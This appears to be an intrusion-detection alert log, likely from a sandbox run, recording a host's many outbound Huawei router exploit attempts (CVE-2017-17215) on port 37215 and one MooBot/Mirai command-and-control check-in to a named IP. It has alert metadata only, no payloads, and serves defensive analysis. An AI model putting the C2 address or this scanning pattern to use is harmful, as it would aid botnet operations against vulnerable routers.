ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.184.202.127

Timestamp:	2024-08-01T15:36:28.746896+0200
SID:	2835222
Source Port:	34732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.114.28.8

Timestamp:	2024-08-01T15:35:33.066759+0200
SID:	2835222
Source Port:	34030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.77.237.3

Timestamp:	2024-08-01T15:35:40.244058+0200
SID:	2835222
Source Port:	52412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.169.17.131

Timestamp:	2024-08-01T15:35:16.668173+0200
SID:	2835222
Source Port:	57426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 44.64.147.48

Timestamp:	2024-08-01T15:36:01.465121+0200
SID:	2835222
Source Port:	39070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.209.185.254

Timestamp:	2024-08-01T15:35:20.545473+0200
SID:	2835222
Source Port:	54722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.101.242.74

Timestamp:	2024-08-01T15:35:20.202880+0200
SID:	2835222
Source Port:	49010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 88.234.55.228

Timestamp:	2024-08-01T15:36:30.284404+0200
SID:	2835222
Source Port:	35520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 67.173.236.255

Timestamp:	2024-08-01T15:35:16.382317+0200
SID:	2835222
Source Port:	57910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 139.87.155.39

Timestamp:	2024-08-01T15:36:44.234094+0200
SID:	2835222
Source Port:	38514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.247.173.232

Timestamp:	2024-08-01T15:35:16.398861+0200
SID:	2835222
Source Port:	55514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 103.20.177.119

Timestamp:	2024-08-01T15:35:16.696501+0200
SID:	2835222
Source Port:	54608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 63.87.52.92

Timestamp:	2024-08-01T15:34:58.165206+0200
SID:	2835222
Source Port:	48580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.240.141.229

Timestamp:	2024-08-01T15:35:50.298982+0200
SID:	2835222
Source Port:	55518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.159.91.59

Timestamp:	2024-08-01T15:35:00.374890+0200
SID:	2835222
Source Port:	52726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.109.69.243

Timestamp:	2024-08-01T15:36:09.901185+0200
SID:	2835222
Source Port:	33190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.180.55.106

Timestamp:	2024-08-01T15:36:24.453989+0200
SID:	2835222
Source Port:	40832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.20.171.118

Timestamp:	2024-08-01T15:37:00.171568+0200
SID:	2835222
Source Port:	46230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.62.53.56

Timestamp:	2024-08-01T15:36:24.810205+0200
SID:	2835222
Source Port:	39250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 107.149.239.1

Timestamp:	2024-08-01T15:34:59.840043+0200
SID:	2835222
Source Port:	44792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.18.157.111

Timestamp:	2024-08-01T15:35:20.209901+0200
SID:	2835222
Source Port:	60948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.103.131.82

Timestamp:	2024-08-01T15:36:48.412176+0200
SID:	2835222
Source Port:	39292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.16.114.102

Timestamp:	2024-08-01T15:35:20.574997+0200
SID:	2835222
Source Port:	58116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.34.131.7

Timestamp:	2024-08-01T15:35:33.068635+0200
SID:	2835222
Source Port:	44978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.28.235.198

Timestamp:	2024-08-01T15:35:37.221035+0200
SID:	2835222
Source Port:	55522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 57.81.121.191

Timestamp:	2024-08-01T15:35:23.849355+0200
SID:	2835222
Source Port:	57890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.15.250.54

Timestamp:	2024-08-01T15:35:16.318658+0200
SID:	2835222
Source Port:	46340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.4.254.184

Timestamp:	2024-08-01T15:35:20.216348+0200
SID:	2835222
Source Port:	50448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.173.241.119

Timestamp:	2024-08-01T15:35:18.612682+0200
SID:	2835222
Source Port:	38364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.69.41.146

Timestamp:	2024-08-01T15:35:20.207169+0200
SID:	2835222
Source Port:	36162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.37.144.15

Timestamp:	2024-08-01T15:35:21.855145+0200
SID:	2835222
Source Port:	38882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 115.52.97.39

Timestamp:	2024-08-01T15:36:57.625209+0200
SID:	2835222
Source Port:	56172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.236.112

Timestamp:	2024-08-01T15:35:26.041943+0200
SID:	2835222
Source Port:	59272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 149.126.144.6

Timestamp:	2024-08-01T15:36:49.652487+0200
SID:	2835222
Source Port:	60352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.90.93.222

Timestamp:	2024-08-01T15:35:53.373708+0200
SID:	2835222
Source Port:	39232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.109.32.212

Timestamp:	2024-08-01T15:36:57.576623+0200
SID:	2835222
Source Port:	33536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 65.112.129.34

Timestamp:	2024-08-01T15:35:56.762359+0200
SID:	2835222
Source Port:	41766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.45.65.180

Timestamp:	2024-08-01T15:36:26.858083+0200
SID:	2835222
Source Port:	54096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.32.51.249

Timestamp:	2024-08-01T15:35:20.545641+0200
SID:	2835222
Source Port:	47536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.35.95.230

Timestamp:	2024-08-01T15:36:22.455847+0200
SID:	2835222
Source Port:	47498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.52.45.251

Timestamp:	2024-08-01T15:35:35.123615+0200
SID:	2835222
Source Port:	47258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.102.197.145

Timestamp:	2024-08-01T15:35:21.867851+0200
SID:	2835222
Source Port:	39342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.199.232.26

Timestamp:	2024-08-01T15:36:56.015182+0200
SID:	2835222
Source Port:	41854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.26.48.200

Timestamp:	2024-08-01T15:35:17.252737+0200
SID:	2835222
Source Port:	44292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.98.222.243

Timestamp:	2024-08-01T15:35:20.210835+0200
SID:	2835222
Source Port:	43474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.94.155.132

Timestamp:	2024-08-01T15:35:58.640375+0200
SID:	2835222
Source Port:	57086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.168.230.58

Timestamp:	2024-08-01T15:35:20.206379+0200
SID:	2835222
Source Port:	41148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 183.167.201.181

Timestamp:	2024-08-01T15:35:35.124041+0200
SID:	2835222
Source Port:	33214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.18.82.93

Timestamp:	2024-08-01T15:35:45.277608+0200
SID:	2835222
Source Port:	42924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.118.180.125

Timestamp:	2024-08-01T15:36:26.665332+0200
SID:	2835222
Source Port:	37600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.163.97.74

Timestamp:	2024-08-01T15:36:52.650025+0200
SID:	2835222
Source Port:	54316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.185.154.125

Timestamp:	2024-08-01T15:37:00.230123+0200
SID:	2835222
Source Port:	43200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 186.22.144.161

Timestamp:	2024-08-01T15:35:20.209983+0200
SID:	2835222
Source Port:	49210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.157.128.134

Timestamp:	2024-08-01T15:36:30.755572+0200
SID:	2835222
Source Port:	59202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.98.235.131

Timestamp:	2024-08-01T15:35:17.241862+0200
SID:	2835222
Source Port:	59494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.194.8.222

Timestamp:	2024-08-01T15:35:48.348230+0200
SID:	2835222
Source Port:	48176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 88.77.152.50

Timestamp:	2024-08-01T15:36:09.911973+0200
SID:	2835222
Source Port:	57422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.108.76.211

Timestamp:	2024-08-01T15:36:42.161419+0200
SID:	2835222
Source Port:	50848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.104.95.148

Timestamp:	2024-08-01T15:35:53.373110+0200
SID:	2835222
Source Port:	38594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.149.203.27

Timestamp:	2024-08-01T15:36:22.338310+0200
SID:	2835222
Source Port:	34728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 210.95.223.139

Timestamp:	2024-08-01T15:35:17.231311+0200
SID:	2835222
Source Port:	37950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.195.176.219

Timestamp:	2024-08-01T15:35:32.996390+0200
SID:	2835222
Source Port:	54846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.37.35.13

Timestamp:	2024-08-01T15:35:37.234039+0200
SID:	2835222
Source Port:	46602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.34.81.3

Timestamp:	2024-08-01T15:36:29.089562+0200
SID:	2835222
Source Port:	39504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 210.206.245.32

Timestamp:	2024-08-01T15:35:20.205015+0200
SID:	2835222
Source Port:	45678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.194.230.216

Timestamp:	2024-08-01T15:35:21.828239+0200
SID:	2835222
Source Port:	42748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.167.62.213

Timestamp:	2024-08-01T15:36:57.561591+0200
SID:	2835222
Source Port:	40996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.16.3

Timestamp:	2024-08-01T15:35:56.797154+0200
SID:	2835222
Source Port:	41976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.16.227.15

Timestamp:	2024-08-01T15:36:36.961528+0200
SID:	2835222
Source Port:	60062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.75.163

Timestamp:	2024-08-01T15:36:48.402059+0200
SID:	2835222
Source Port:	50556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.71.251.63

Timestamp:	2024-08-01T15:36:14.810575+0200
SID:	2835222
Source Port:	49632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.30.62.231

Timestamp:	2024-08-01T15:36:24.481972+0200
SID:	2835222
Source Port:	57410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.13.83

Timestamp:	2024-08-01T15:36:42.270129+0200
SID:	2835222
Source Port:	37330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.84.81.43

Timestamp:	2024-08-01T15:35:17.054014+0200
SID:	2835222
Source Port:	37804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.98.170.35

Timestamp:	2024-08-01T15:35:53.373794+0200
SID:	2835222
Source Port:	39810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.46.155.67

Timestamp:	2024-08-01T15:36:06.736241+0200
SID:	2835222
Source Port:	33456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.86.186.82

Timestamp:	2024-08-01T15:35:20.206809+0200
SID:	2835222
Source Port:	43630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.233.196

Timestamp:	2024-08-01T15:36:06.899079+0200
SID:	2835222
Source Port:	33986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.218.203.70

Timestamp:	2024-08-01T15:35:21.921532+0200
SID:	2835222
Source Port:	39734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.95.168.143

Timestamp:	2024-08-01T15:35:17.250906+0200
SID:	2835222
Source Port:	35070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.74.231.89

Timestamp:	2024-08-01T15:35:20.575001+0200
SID:	2835222
Source Port:	53748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:33.737001+0200
SID:	2030490
Source Port:	45852
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.253.40.125

Timestamp:	2024-08-01T15:35:45.279017+0200
SID:	2835222
Source Port:	53730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.138.137.247

Timestamp:	2024-08-01T15:36:29.402729+0200
SID:	2835222
Source Port:	54398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 111.219.90.142

Timestamp:	2024-08-01T15:35:20.206723+0200
SID:	2835222
Source Port:	33542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.12.127.228

Timestamp:	2024-08-01T15:36:55.995935+0200
SID:	2835222
Source Port:	43832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 76.105.179.190

Timestamp:	2024-08-01T15:37:00.082161+0200
SID:	2835222
Source Port:	39486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.185.192.198

Timestamp:	2024-08-01T15:36:15.121051+0200
SID:	2835222
Source Port:	41794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.228.42.86

Timestamp:	2024-08-01T15:36:34.856564+0200
SID:	2835222
Source Port:	46878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.114.89.4

Timestamp:	2024-08-01T15:36:39.486579+0200
SID:	2835222
Source Port:	39056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 206.62.100.47

Timestamp:	2024-08-01T15:36:09.860098+0200
SID:	2835222
Source Port:	55344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.128.161.167

Timestamp:	2024-08-01T15:36:18.242524+0200
SID:	2835222
Source Port:	43786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 60.130.244.9

Timestamp:	2024-08-01T15:35:02.455065+0200
SID:	2835222
Source Port:	44912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.97.186.175

Timestamp:	2024-08-01T15:36:32.777794+0200
SID:	2835222
Source Port:	47448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.197.199.214

Timestamp:	2024-08-01T15:36:53.920151+0200
SID:	2835222
Source Port:	52016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 121.199.19.86

Timestamp:	2024-08-01T15:35:50.267009+0200
SID:	2835222
Source Port:	52006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.47.197.159

Timestamp:	2024-08-01T15:36:06.683260+0200
SID:	2835222
Source Port:	37904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.31.72.79

Timestamp:	2024-08-01T15:35:56.655082+0200
SID:	2835222
Source Port:	48756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 31.62.8.174

Timestamp:	2024-08-01T15:35:45.284002+0200
SID:	2835222
Source Port:	51430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

